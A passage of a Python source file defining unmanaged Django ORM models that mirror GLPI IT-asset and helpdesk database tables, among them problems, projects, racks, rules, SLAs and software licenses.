'glpi_problemcosts' class GlpiProblems(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() is_deleted = models.IntegerField() status = models.IntegerField() content = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date = models.DateTimeField(blank=True, null=True) solvedate = models.DateTimeField(blank=True, null=True) closedate = models.DateTimeField(blank=True, null=True) time_to_resolve = models.DateTimeField(blank=True, null=True) users_id_recipient = models.IntegerField() users_id_lastupdater = models.IntegerField() urgency = models.IntegerField() impact = models.IntegerField() priority = models.IntegerField() itilcategories = models.ForeignKey('GlpiItilcategories', on_delete=models.PROTECT) impactcontent = models.TextField(blank=True, null=True) causecontent = models.TextField(blank=True, null=True) symptomcontent = models.TextField(blank=True, null=True) actiontime = models.IntegerField() begin_waiting_date = models.DateTimeField(blank=True, null=True) waiting_duration = models.IntegerField() close_delay_stat = models.IntegerField() solve_delay_stat = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_problems' class GlpiProblemsSuppliers(models.Model): id = models.IntegerField(primary_key=True) problems = models.ForeignKey('GlpiProblems', on_delete=models.PROTECT) suppliers = models.ForeignKey('GlpiSuppliers', on_delete=models.PROTECT) type = models.IntegerField() use_notification = models.IntegerField() alternative_email = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_problems_suppliers' unique_together = ('problems', 'type', 'suppliers') class GlpiProblemsTickets(models.Model): id = models.IntegerField(primary_key=True) problems = models.ForeignKey('GlpiProblems', on_delete=models.PROTECT) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_problems_tickets' unique_together = ('problems', 'tickets') class GlpiProblemsUsers(models.Model): id = models.IntegerField(primary_key=True) problems = models.ForeignKey('GlpiProblems', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) type = models.IntegerField() use_notification = models.IntegerField() alternative_email = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_problems_users' unique_together = ('problems', 'type', 'users', 'alternative_email') class GlpiProblemtasks(models.Model): id = models.IntegerField(primary_key=True) uuid = models.CharField(unique=True, max_length=255, blank=True, null=True) problems = models.ForeignKey('GlpiProblems', on_delete=models.PROTECT) taskcategories = models.ForeignKey('GlpiTaskcategories', on_delete=models.PROTECT) date = models.DateTimeField(blank=True, null=True) begin = models.DateTimeField(blank=True, null=True) end = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) users_id_editor = models.IntegerField() users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() content = models.TextField(blank=True, null=True) actiontime = models.IntegerField() state = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) tasktemplates = models.ForeignKey('GlpiTasktemplates', on_delete=models.PROTECT) timeline_position = models.IntegerField() is_private = models.IntegerField() class Meta: managed = False db_table = 'glpi_problemtasks' class GlpiProblemtemplatehiddenfields(models.Model): id = models.IntegerField(primary_key=True) problemtemplates = models.ForeignKey('GlpiProblemtemplates', on_delete=models.PROTECT) num = models.IntegerField() class Meta: managed = False db_table = 'glpi_problemtemplatehiddenfields' unique_together = ('problemtemplates', 'num') class GlpiProblemtemplatemandatoryfields(models.Model): id = models.IntegerField(primary_key=True) problemtemplates = models.ForeignKey('GlpiProblemtemplates', on_delete=models.PROTECT) num = models.IntegerField() class Meta: managed = False db_table = 'glpi_problemtemplatemandatoryfields' unique_together = ('problemtemplates', 'num') class GlpiProblemtemplatepredefinedfields(models.Model): id = models.IntegerField(primary_key=True) problemtemplates = models.ForeignKey('GlpiProblemtemplates', on_delete=models.PROTECT) num = models.IntegerField() value = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_problemtemplatepredefinedfields' class GlpiProblemtemplates(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_problemtemplates' class GlpiProfilerights(models.Model): id = models.IntegerField(primary_key=True) profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) rights = models.IntegerField() class Meta: managed = False db_table = 'glpi_profilerights' unique_together = ('profiles', 'name') class GlpiProfiles(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) interface = models.CharField(max_length=255, blank=True, null=True) is_default = models.IntegerField() helpdesk_hardware = models.IntegerField() helpdesk_item_type = models.TextField(blank=True, null=True) ticket_status = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) comment = models.TextField(blank=True, null=True) problem_status = models.TextField(blank=True, null=True) create_ticket_on_login = models.IntegerField() tickettemplates = models.ForeignKey('GlpiTickettemplates', on_delete=models.PROTECT) changetemplates = models.ForeignKey('GlpiChangetemplates', on_delete=models.PROTECT) problemtemplates = models.ForeignKey('GlpiProblemtemplates', on_delete=models.PROTECT) change_status = models.TextField(blank=True, null=True) managed_domainrecordtypes = models.TextField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_profiles' class GlpiProfilesReminders(models.Model): id = models.IntegerField(primary_key=True) reminders = models.ForeignKey('GlpiReminders', on_delete=models.PROTECT) profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_profiles_reminders' class GlpiProfilesRssfeeds(models.Model): id = models.IntegerField(primary_key=True) rssfeeds = models.ForeignKey('GlpiRssfeeds', on_delete=models.PROTECT) profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_profiles_rssfeeds' class GlpiProfilesUsers(models.Model): id = models.IntegerField(primary_key=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() is_dynamic = models.IntegerField() class Meta: managed = False db_table = 'glpi_profiles_users' class GlpiProjectcosts(models.Model): id = models.IntegerField(primary_key=True) projects = models.ForeignKey('GlpiProjects', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) begin_date = models.DateField(blank=True, null=True) end_date = models.DateField(blank=True, null=True) cost = models.DecimalField(max_digits=20, decimal_places=4) budgets = models.ForeignKey('GlpiBudgets', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_projectcosts' class GlpiProjects(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) code = models.CharField(max_length=255, blank=True, null=True) priority = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() projects = models.ForeignKey('GlpiProjects', on_delete=models.PROTECT) projectstates = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) projecttypes = models.ForeignKey('GlpiProjecttypes', on_delete=models.PROTECT) date = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) plan_start_date = models.DateTimeField(blank=True, null=True) plan_end_date = models.DateTimeField(blank=True, null=True) real_start_date = models.DateTimeField(blank=True, null=True) real_end_date = models.DateTimeField(blank=True, null=True) percent_done = models.IntegerField() auto_percent_done = models.IntegerField() show_on_global_gantt = models.IntegerField() content = models.TextField(blank=True, null=True) comment = models.TextField(blank=True, null=True) is_deleted = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) projecttemplates_id = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_projects' class GlpiProjectstates(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) color = models.CharField(max_length=255, blank=True, null=True) is_finished = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_projectstates' class GlpiProjecttasks(models.Model): id = models.IntegerField(primary_key=True) uuid = models.CharField(unique=True, max_length=255, blank=True, null=True) name = models.CharField(max_length=255, blank=True, null=True) content = models.TextField(blank=True, null=True) comment = models.TextField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() projects = models.ForeignKey('GlpiProjects', on_delete=models.PROTECT) projecttasks = models.ForeignKey('GlpiProjecttasks', on_delete=models.PROTECT) date = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) plan_start_date = models.DateTimeField(blank=True, null=True) plan_end_date = models.DateTimeField(blank=True, null=True) real_start_date = models.DateTimeField(blank=True, null=True) real_end_date = models.DateTimeField(blank=True, null=True) planned_duration = models.IntegerField() effective_duration = models.IntegerField() projectstates = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) projecttasktypes = models.ForeignKey('GlpiProjecttasktypes', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) percent_done = models.IntegerField() auto_percent_done = models.IntegerField() is_milestone = models.IntegerField() projecttasktemplates = models.ForeignKey('GlpiTasktemplates', on_delete=models.PROTECT) is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_projecttasks' class GlpiProjecttasksTickets(models.Model): id = models.IntegerField(primary_key=True) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) projecttasks = models.ForeignKey('GlpiProjecttasks', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_projecttasks_tickets' unique_together = ('tickets', 'projecttasks') class GlpiProjecttaskteams(models.Model): id = models.IntegerField(primary_key=True) projecttasks = models.ForeignKey('GlpiProjecttasks', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100, blank=True, null=True) items_id = models.IntegerField() class Meta: managed = False db_table = 'glpi_projecttaskteams' unique_together = ('projecttasks', 'itemtype', 'items_id') class GlpiProjecttasktemplates(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) description = models.TextField(blank=True, null=True) comment = models.TextField(blank=True, null=True) projects = models.ForeignKey('GlpiProjects', on_delete=models.PROTECT) projecttasks = models.ForeignKey('GlpiProjecttasks', on_delete=models.PROTECT) plan_start_date = models.DateTimeField(blank=True, null=True) plan_end_date = models.DateTimeField(blank=True, null=True) real_start_date = models.DateTimeField(blank=True, null=True) real_end_date = models.DateTimeField(blank=True, null=True) planned_duration = models.IntegerField() effective_duration = models.IntegerField() projectstates = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) projecttasktypes = models.ForeignKey('GlpiProjecttasktypes', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) percent_done = models.IntegerField() is_milestone = models.IntegerField() comments = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_projecttasktemplates' class GlpiProjecttasktypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_projecttasktypes' class GlpiProjectteams(models.Model): id = models.IntegerField(primary_key=True) projects = models.ForeignKey('GlpiProjects', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100, blank=True, null=True) items_id = models.IntegerField() class Meta: managed = False db_table = 'glpi_projectteams' unique_together = ('projects', 'itemtype', 'items_id') class GlpiProjecttypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_projecttypes' class GlpiQueuednotifications(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100, blank=True, null=True) items_id = models.IntegerField() notificationtemplates = models.ForeignKey('GlpiNotificationtemplates', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_deleted = models.IntegerField() sent_try = models.IntegerField() create_time = models.DateTimeField(blank=True, null=True) send_time = models.DateTimeField(blank=True, null=True) sent_time = models.DateTimeField(blank=True, null=True) name = models.TextField(blank=True, null=True) sender = models.TextField(blank=True, null=True) sendername = models.TextField(blank=True, null=True) recipient = models.TextField(blank=True, null=True) recipientname = models.TextField(blank=True, null=True) replyto = models.TextField(blank=True, null=True) replytoname = models.TextField(blank=True, null=True) headers = models.TextField(blank=True, null=True) body_html = models.TextField(blank=True, null=True) body_text = models.TextField(blank=True, null=True) messageid = models.TextField(blank=True, null=True) documents = models.TextField(blank=True, null=True) mode = models.CharField(max_length=20) class Meta: managed = False db_table = 'glpi_queuednotifications' class GlpiRackmodels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) product_number = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_rackmodels' class GlpiRacks(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) rackmodels = models.ForeignKey('GlpiRackmodels', on_delete=models.SET_NULL, blank=True, null=True) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) racktypes = models.ForeignKey('GlpiRacktypes', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() width = models.IntegerField(blank=True, null=True) height = models.IntegerField(blank=True, null=True) depth = models.IntegerField(blank=True, null=True) number_units = models.IntegerField(blank=True, null=True) is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) is_deleted = models.IntegerField() dcrooms = models.ForeignKey('GlpiDcrooms', on_delete=models.PROTECT) room_orientation = models.IntegerField() position = models.CharField(max_length=50, blank=True, null=True) bgcolor = models.CharField(max_length=7, blank=True, null=True) max_power = models.IntegerField() mesured_power = models.IntegerField() max_weight = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_racks' class GlpiRacktypes(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_racktypes' class GlpiRegisteredids(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) device_type = models.CharField(max_length=100) class Meta: managed = False db_table = 'glpi_registeredids' class GlpiReminders(models.Model): id = models.IntegerField(primary_key=True) uuid = models.CharField(unique=True, max_length=255, blank=True, null=True) date = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) text = models.TextField(blank=True, null=True) begin = models.DateTimeField(blank=True, null=True) end = models.DateTimeField(blank=True, null=True) is_planned = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) state = models.IntegerField() begin_view_date = models.DateTimeField(blank=True, null=True) end_view_date = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_reminders' class GlpiRemindersUsers(models.Model): id = models.IntegerField(primary_key=True) reminders = models.ForeignKey('GlpiReminders', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_reminders_users' class GlpiRemindertranslations(models.Model): id = models.IntegerField(primary_key=True) reminders = models.ForeignKey('GlpiReminders', on_delete=models.PROTECT) language = models.CharField(max_length=5, blank=True, null=True) name = models.TextField(blank=True, null=True) text = models.TextField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_remindertranslations' class GlpiRequesttypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) is_helpdesk_default = models.IntegerField() is_followup_default = models.IntegerField() is_mail_default = models.IntegerField() is_mailfollowup_default = models.IntegerField() is_active = models.IntegerField() is_ticketheader = models.IntegerField() is_itilfollowup = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_requesttypes' class GlpiReservationitems(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() items_id = models.IntegerField() comment = models.TextField(blank=True, null=True) is_active = models.IntegerField() is_deleted = models.IntegerField() class Meta: managed = False db_table = 'glpi_reservationitems' class GlpiReservations(models.Model): id = models.IntegerField(primary_key=True) reservationitems = models.ForeignKey('GlpiReservationitems', on_delete=models.PROTECT) begin = models.DateTimeField(blank=True, null=True) end = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) group = models.IntegerField() class Meta: managed = False db_table = 'glpi_reservations' class GlpiRssfeeds(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) url = models.TextField(blank=True, null=True) refresh_rate = models.IntegerField() max_items = models.IntegerField() have_error = models.IntegerField() is_active = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_rssfeeds' class GlpiRssfeedsUsers(models.Model): id = models.IntegerField(primary_key=True) rssfeeds = models.ForeignKey('GlpiRssfeeds', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_rssfeeds_users' class GlpiRuleactions(models.Model): id = models.IntegerField(primary_key=True) rules = models.ForeignKey('GlpiRules', on_delete=models.PROTECT) action_type = models.CharField(max_length=255, blank=True, null=True) field = models.CharField(max_length=255, blank=True, null=True) value = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_ruleactions' class GlpiRulecriterias(models.Model): id = models.IntegerField(primary_key=True) rules = models.ForeignKey('GlpiRules', on_delete=models.PROTECT) criteria = models.CharField(max_length=255, blank=True, null=True) condition = models.IntegerField() pattern = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_rulecriterias' class GlpiRulerightparameters(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) value = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_rulerightparameters' class GlpiRules(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) sub_type = models.CharField(max_length=255) ranking = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) description = models.TextField(blank=True, null=True) match = models.CharField(max_length=10, blank=True, null=True) is_active = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) is_recursive = models.IntegerField() uuid = models.CharField(max_length=255, blank=True, null=True) condition = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_rules' class GlpiSavedsearches(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) type = models.IntegerField() itemtype = models.CharField(max_length=100) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) is_private = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() path = models.CharField(max_length=255, blank=True, null=True) query = models.TextField(blank=True, null=True) last_execution_time = models.IntegerField(blank=True, null=True) do_count = models.IntegerField() last_execution_date = models.DateTimeField(blank=True, null=True) counter = models.IntegerField() class Meta: managed = False db_table = 'glpi_savedsearches' class GlpiSavedsearchesAlerts(models.Model): id = models.IntegerField(primary_key=True) savedsearches = models.ForeignKey('GlpiSavedsearches', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) is_active = models.IntegerField() operator = models.IntegerField() value = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_savedsearches_alerts' unique_together = ('savedsearches', 'operator', 'value') class GlpiSavedsearchesUsers(models.Model): id = models.IntegerField(primary_key=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100) savedsearches = models.ForeignKey('GlpiSavedsearches', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_savedsearches_users' unique_together = ('users', 'itemtype') class GlpiSlalevelactions(models.Model): id = models.IntegerField(primary_key=True) slalevels = models.ForeignKey('GlpiSlalevels', on_delete=models.PROTECT) action_type = models.CharField(max_length=255, blank=True, null=True) field = models.CharField(max_length=255, blank=True, null=True) value = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_slalevelactions' class GlpiSlalevelcriterias(models.Model): id = models.IntegerField(primary_key=True) slalevels = models.ForeignKey('GlpiSlalevels', on_delete=models.PROTECT) criteria = models.CharField(max_length=255, blank=True, null=True) condition = models.IntegerField() pattern = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_slalevelcriterias' class GlpiSlalevels(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) slas = models.ForeignKey('GlpiSlas', on_delete=models.PROTECT) execution_time = models.IntegerField() is_active = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() match = models.CharField(max_length=10, blank=True, null=True) uuid = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_slalevels' class GlpiSlalevelsTickets(models.Model): id = models.IntegerField(primary_key=True) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) slalevels = models.ForeignKey('GlpiSlalevels', on_delete=models.PROTECT) date = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_slalevels_tickets' unique_together = ('tickets', 'slalevels') class GlpiSlas(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() type = models.IntegerField() comment = models.TextField(blank=True, null=True) number_time = models.IntegerField() calendars = models.ForeignKey('GlpiCalendars', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) definition_time = models.CharField(max_length=255, blank=True, null=True) end_of_working_day = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) slms = models.ForeignKey('GlpiSlms', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_slas' class GlpiSlms(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) calendars = models.ForeignKey('GlpiCalendars', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_slms' class GlpiSoftwarecategories(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) softwarecategories = models.ForeignKey('self', on_delete=models.PROTECT) completename = models.TextField(blank=True, null=True) level = models.IntegerField() ancestors_cache = models.TextField(blank=True, null=True) sons_cache = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_softwarecategories' class GlpiSoftwarelicenses(models.Model): id = models.IntegerField(primary_key=True) softwares = models.ForeignKey('GlpiSoftwares', on_delete=models.PROTECT) softwarelicenses = models.ForeignKey('self', on_delete=models.PROTECT) completename = models.TextField(blank=True, null=True) level = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() number = models.IntegerField() softwarelicensetypes = models.ForeignKey('GlpiSoftwarelicensetypes', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) softwareversions_id_buy = models.IntegerField() softwareversions_id_use = models.IntegerField() expire = models.DateField(blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) is_valid = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) is_deleted = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) users_id_tech = models.IntegerField() users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups_id_tech = models.IntegerField() groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) is_helpdesk_visible = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) contact = models.CharField(max_length=255, blank=True, null=True) contact_num = models.CharField(max_length=255, blank=True, null=True) allow_overquota = models.IntegerField() class Meta: managed = False db_table = 'glpi_softwarelicenses' class GlpiSoftwarelicensetypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) softwarelicensetypes = models.ForeignKey('self', on_delete=models.PROTECT) level = models.IntegerField() ancestors_cache = models.TextField(blank=True, null=True) sons_cache = models.TextField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() completename = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_softwarelicensetypes' class GlpiSoftwares(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() is_update = models.IntegerField() softwares = models.ForeignKey('GlpiSoftwares', on_delete=models.PROTECT) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) ticket_tco = models.DecimalField(max_digits=20, decimal_places=4, blank=True, null=True) is_helpdesk_visible = models.IntegerField() softwarecategories = models.ForeignKey('GlpiSoftwarecategories', on_delete=models.PROTECT) is_valid = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_softwares' class GlpiSoftwareversions(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() softwares = models.ForeignKey('GlpiSoftwares', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) operatingsystems = models.ForeignKey('GlpiOperatingsystems', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_softwareversions' class GlpiSolutiontemplates(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) content = models.TextField(blank=True, null=True) solutiontypes = models.ForeignKey('GlpiSolutiontypes', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = 